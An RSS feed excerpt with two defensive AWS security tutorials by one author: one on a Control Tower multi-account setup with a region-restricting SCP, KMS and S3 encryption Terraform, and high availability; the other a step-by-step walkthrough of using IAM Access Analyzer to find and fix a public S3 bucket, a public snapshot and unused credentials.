<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Constantine Ukah</title>
    <description>The latest articles on Forem by Constantine Ukah (@constantineukah).</description>
    <link>https://forem.com/constantineukah</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2923585%2Ffbf03a7b-99be-44be-a5bc-edea3ecbcd15.jpg</url>
      <title>Forem: Constantine Ukah</title>
      <link>https://forem.com/constantineukah</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/constantineukah"/>
    <language>en</language>
    <item>
      <title>How to Secure Your AWS Web Application with Data Sovereignty, Encryption, and Availability in a Multi-Account Setup.</title>
      <dc:creator>Constantine Ukah</dc:creator>
      <pubDate>Wed, 02 Jul 2025 10:42:26 +0000</pubDate>
      <link>https://forem.com/constantineukah/how-to-secure-your-aws-web-application-with-data-sovereignty-encryption-and-availability-in-a-4cam</link>
      <guid>https://forem.com/constantineukah/how-to-secure-your-aws-web-application-with-data-sovereignty-encryption-and-availability-in-a-4cam</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;As organizations move sensitive workloads to the cloud, ensuring compliance with regional data laws, availability SLAs, and strong encryption is no longer optional. In this post, I will walk through securing a web application hosted on AWS, leveraging Control Tower to structure a compliant multi-account environment.&lt;/p&gt;

&lt;h2&gt;
  
  
  Scenario
&lt;/h2&gt;

&lt;p&gt;Imagine you have a financial or healthcare applications whose data MUST &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Reside in a specific region or location,&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Can't afford to be unavailable due to its function&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Sensitive information like customers' biodata, credit/debit card information etc are stored.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Finally, when weekly or quarterly audit and compliance reports are required by your management or 3rd party auditors.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;How do you achieve these with a single account. Hence, multi-account architecture and AWS Control Tower comes into play.&lt;/p&gt;

&lt;h2&gt;
  
  
  Solution Overview.
&lt;/h2&gt;

&lt;p&gt;The web application will run inside the private subnets, meaning it cannot be directly accessed from the internet. Instead, traffic flows through a public Application Load Balancer (ALB), which forwards requests to EC2 instances hosted in private subnets. Outbound internet access, if needed (e.g., for package updates), is routed via a NAT Gateway.&lt;/p&gt;

&lt;p&gt;The application is configured to listen on port 5000. However, an Nginx reverse proxy will be used to allow traffic received from the Load Balancer on port 80 while the Load Balancer would listen on port 443 from CloudFront.&lt;/p&gt;

&lt;p&gt;The following AWS services would be used.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AWS Control Tower: For automated, governed multi-account setup.&lt;/li&gt;
&lt;li&gt;AWS Organizations: To segment workloads into OUs (Organizational Units).&lt;/li&gt;
&lt;li&gt;Service Control Policies (SCPs): To enforce the allowed regions and service boundaries.&lt;/li&gt;
&lt;li&gt;AWS RAM &amp;amp; VPC Peering: For centralized networking across accounts.&lt;/li&gt;
&lt;li&gt;Amazon S3 + AWS KMS: For encrypted data storage.&lt;/li&gt;
&lt;li&gt;ALB + ACM: for TLS encryption and HTTPS access.&lt;/li&gt;
&lt;li&gt;CloudFront + Route53: For scalable, globally available web access.&lt;/li&gt;
&lt;li&gt;CloudTrail &amp;amp; Config: For centralized logging and auditing.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Multi-Account Structure
&lt;/h2&gt;

&lt;p&gt;Using the AWS Control Tower, the OUs that would be created and their purposes are:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs3ngbbbxzqdzt7vq9c3e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs3ngbbbxzqdzt7vq9c3e.png" alt="Multi-Account Structure" width="543" height="265"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fistyv3x12mnho9keuhlc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fistyv3x12mnho9keuhlc.png" alt="Image description" width="427" height="512"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Enforcing Data Sovereignty
&lt;/h2&gt;

&lt;p&gt;Restrict application/services usage or deployment to only the approved AWS region(s) using SCPs and then apply to the Production Organisational Unit (OU).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyRegionsOutsideN.Virginia",
      "Effect": "Deny",
      "Action": "*",
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:RequestedRegion": "us-east-1"
        }
      }
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Implementing End-to-End Encryption
&lt;/h2&gt;

&lt;p&gt;To achieve robust end-to-end encryption, it's crucial to address both encryption at rest and encryption in transit. Configure encryption for your AWS resources, starting with customer-managed keys via AWS Key Management Service (KMS)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Configure a Customer-Managed Key (CMK) with AWS KMS
First, you'll provision an AWS KMS Customer-Managed Key (CMK) that will be used for encrypting your data. This provides you with full control over the encryption key lifecycle.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;resource "aws_kms_key" "encryp_key" {
  description             = "Encryption key for s3 bucket"
  key_usage               = "ENCRYPT_DECRYPT"
  enable_key_rotation     = true
  deletion_window_in_days = 7
}

data "aws_caller_identity" "current" {}

resource "aws_kms_key_policy" "encrypt_policy" {
  key_id = aws_kms_key.encryp_key.id
  policy = jsonencode({
    Version = "2012-10-17"
    Id      = "key-default-1"
    Statement = [
      {
        Sid    = "Allow the use of the key"
        Effect = "Allow"
        Principal = {
          AWS = "arn:aws:iam::${data.aws_caller_identity.current.account_id}:user/&amp;lt;your delegated user&amp;gt;"
        },
        Action: [
        "kms:Encrypt",
        "kms:Decrypt",
        "kms:ReEncrypt*",
        "kms:GenerateDataKey*",
        "kms:DescribeKey"
        ],
        Resource = "*"
      }
    ]
  })
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To ensure encryption end-to-end, then, encryption at rest and in transit must be implemented.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Encryption at rest ensures that your data is encrypted when it's stored in persistent storage, such as S3 buckets, databases, or EC2 volumes.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To ensure end-to-end encryption, you must implement encryption at rest for all sensitive data stores. For example, for an logging S3 bucket:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;resource "aws_s3_bucket_server_side_encryption_configuration" "s3_sse_config" {
  bucket = aws_s3_bucket.s3-cloudlogs.id

  rule {
    apply_server_side_encryption_by_default {
      kms_master_key_id = var.key_id
      sse_algorithm     = "aws:kms"
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Encryption in transit (or in-flight encryption) protects data as it moves between systems over networks. This is typically achieved using protocols like TLS/SSL. In this lab, a TLS certificate from Amazon Certificate Manager (ACM) will be attached to both the Application Load Balancer and CloudFront services with Route53 pointing to our customized domain.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F55kpop6i0303qqrl6h3b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F55kpop6i0303qqrl6h3b.png" alt="Image description" width="756" height="252"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Achieving High Availability
&lt;/h2&gt;

&lt;p&gt;To ensure high availability of the application, we would&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Deploy the application servers in multiple Availability zones.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use Auto Scaling Groups for easy scalability.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Attach Application Load Balancer and CloudFront to handle even distribution of our user traffic and ensure global reach with low latency.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Finally, use Route53 to reroute traffic to our customized domain name.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Centralized Governance, Monitoring and Logging.
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;AWS Control Tower sets up CloudTrail and AWS Config in a Log Archive account.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Guardrails automatically apply mandatory SCPs and detect policy violations.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use AWS Security Hub and GuardDuty in the Security account to detect threats across all accounts.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion.
&lt;/h2&gt;

&lt;p&gt;Implementing a robust, compliant, and highly available web application in the cloud demands a thoughtful architectural approach. By leveraging AWS Control Tower for a governed multi-account structure, enforcing data sovereignty with SCPs, and meticulously applying end-to-end encryption and high availability patterns, organizations can confidently migrate sensitive workloads. This comprehensive strategy not only meets stringent regulatory requirements but also lays a solid foundation for secure, scalable, and auditable cloud operations.&lt;/p&gt;

&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;This hands-on implementation validates my readiness to secure cloud web application with attention to reliability, security, and scalability.&lt;br&gt;
Check out my &lt;a href=""&gt;github&lt;/a&gt; for the code and architectural diagram.&lt;/p&gt;

</description>
      <category>cloud</category>
      <category>cloudsecurity</category>
      <category>aws</category>
      <category>awssecurity</category>
    </item>
    <item>
      <title>Preventing Exploitable Cloud Misconfigurations Using IAM Access Analyzer</title>
      <dc:creator>Constantine Ukah</dc:creator>
      <pubDate>Sun, 13 Apr 2025 16:21:29 +0000</pubDate>
      <link>https://forem.com/constantineukah/preventing-exploitable-cloud-misconfigurations-using-iam-access-analyzer-4id7</link>
      <guid>https://forem.com/constantineukah/preventing-exploitable-cloud-misconfigurations-using-iam-access-analyzer-4id7</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What is IAM and its importance in cloud security?
&lt;/h3&gt;

&lt;p&gt;Identity and Access Management (IAM) is an AWS web service that helps you securely control access to AWS resources. IAM provides the infrastructure required to control authentication and authorization to various AWS resources. And a few importance of IAM include the following: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Least Privilege Enforcement&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Enabling Fine-Grained Permissions&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Auditing &amp;amp; Compliance&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Managing Federated Access.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Hence, the AWS resource that guides you toward least privilege by providing capabilities to set, verify, and refine permissions, analyze external access and validate that your policies match your specified corporate security standards is known as &lt;strong&gt;IAM Access Analyzer&lt;/strong&gt;. By the end of this post, you’ll know how to use IAM Access Analyzer to prevent breaches before they happen by reducing your attack surface and enforcing least privilege.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to set it up.
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Log into your AWS account and select your region.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Search for IAM and navigate to the Access Reports -&amp;gt; Access Analyzer.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F89iicialugl0ed8chz4g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F89iicialugl0ed8chz4g.png" alt="Image description" width="800" height="414"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Click on create analyser, you would see two finding types namely:&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;External access finding: This finding detects when resources (like S3 buckets, Snapshots, KMS keys, etc.) can be accessed by external entities which could lead to data exposure or unauthorized actions.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unused access finding: This finding helps you identify permissions, roles, keys that were granted but never used over a certain time period.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So, lets start with the &lt;strong&gt;External access finding&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Select the &lt;strong&gt;External access analysis&lt;/strong&gt; under the finding type, leaving other defaults settings, click on create analyser.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbctrwssyo7iqgp85dxty.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbctrwssyo7iqgp85dxty.png" alt="Image description" width="800" height="444"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Allow the analyser to scan your account.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu5191hqdhxe68oiu40vf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu5191hqdhxe68oiu40vf.png" alt="Image description" width="800" height="324"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From the snippet above, it shows me that my account has a public facing bucket and EC2 Snapshot.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Investigate further into the S3 Bucket.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqsqmgis783xqt0xj6q5h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqsqmgis783xqt0xj6q5h.png" alt="Image description" width="800" height="332"&gt;&lt;/a&gt;.&lt;br&gt;
For the snippet, you can see the bucket name (iajaihnakmrina), the external principal (all principals), shared through (Bucket Policy) and the level of access (Read) usable by the external entities.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Navigate to the S3 bucket -&amp;gt; permissions.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0kiwu9m6xl9nf74f66w9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0kiwu9m6xl9nf74f66w9.png" alt="Image description" width="800" height="427"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Notice that the configured bucket policy has its principal as &lt;strong&gt;"*"&lt;/strong&gt; and the block all public access setting was turned off.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Turn on Block Public Access setting and rescan the analyser&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffhgn199kqwo78mxsoji8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffhgn199kqwo78mxsoji8.png" alt="Image description" width="800" height="411"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Upon rescanning, the status now shows &lt;strong&gt;Resolved&lt;/strong&gt;.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2957vypjkp1oou0z0vpg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2957vypjkp1oou0z0vpg.png" alt="Image description" width="800" height="321"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Repeat the process for the second public facing resource. Notice the snapshot name, status and access level.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbql06iwxebs982l4usl4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbql06iwxebs982l4usl4.png" alt="Image description" width="800" height="382"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Navigate to the Snapshot.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8em4ged7o5k3t5vn3j7d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8em4ged7o5k3t5vn3j7d.png" alt="Image description" width="800" height="368"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Select the snapshot, click on Action -&amp;gt; Snapshot setting -&amp;gt; Modify Permissions -&amp;gt; select private sharing option.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwtnbklzv38512idpz8r1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwtnbklzv38512idpz8r1.png" alt="Image description" width="800" height="413"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Now, rescan the analyser to confirm resolved.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhb64ywze1p4cqbbkmxtg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhb64ywze1p4cqbbkmxtg.png" alt="Image description" width="800" height="358"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Next, create a analyser for the unused access analysis.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwpu0nehhk49vkm8qg64v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwpu0nehhk49vkm8qg64v.png" alt="Image description" width="800" height="362"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Allow it scan your account automatically. Notice the various findings seen below.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffc08umgbfeewmrqxx6d8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffc08umgbfeewmrqxx6d8.png" alt="Image description" width="800" height="377"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From the snippet, you could see the various finding types (unused permission, password, role).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Investigating each finding type stating with the Unused permission&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwb21lqso2vjei3ig22ff.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwb21lqso2vjei3ig22ff.png" alt="Image description" width="800" height="424"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We have that user - dev1 has two (2) permissions for lambda (last used - never) and IAM (last used - yesterday). Also, notice the recommended remediation steps.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Navigate to the IAM user - dev1, notice the various permissions attached to the user.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fds2zj5atxzthbe5u9xef.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fds2zj5atxzthbe5u9xef.png" alt="Image description" width="800" height="354"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Remove the permissions if not needed any more, then rescan.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcvl4nrdhnyfkje20dj7p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcvl4nrdhnyfkje20dj7p.png" alt="Image description" width="800" height="348"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Do same for the next finding type - Unused password. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8qbjvu3naw0lxq6vb66j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8qbjvu3naw0lxq6vb66j.png" alt="Image description" width="800" height="305"&gt;&lt;/a&gt;&lt;br&gt;
Navigate to the dev1 user -&amp;gt; Security Credentials -&amp;gt; Managed console access.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fud2m6hl7lf50ywz7up75.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fud2m6hl7lf50ywz7up75.png" alt="Image description" width="800" height="267"&gt;&lt;/a&gt;&lt;br&gt;
Click on Disable Console Access.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk91cwm9gs46he28mpfa3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk91cwm9gs46he28mpfa3.png" alt="Image description" width="800" height="446"&gt;&lt;/a&gt;&lt;br&gt;
For the programmatic keys, simply delete it.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Upon rescan, notice that both the unused password and permission finding types have been resolved.
&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fny7mhl0nro2poc2hhpzq.png" alt="Image description" width="800" height="331"&gt;
&lt;/li&gt;
&lt;li&gt;Now, lets focus on the last finding type - unused role.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the role is still needed, simply archive the finding. But if needed no more, just delete it.&lt;br&gt;
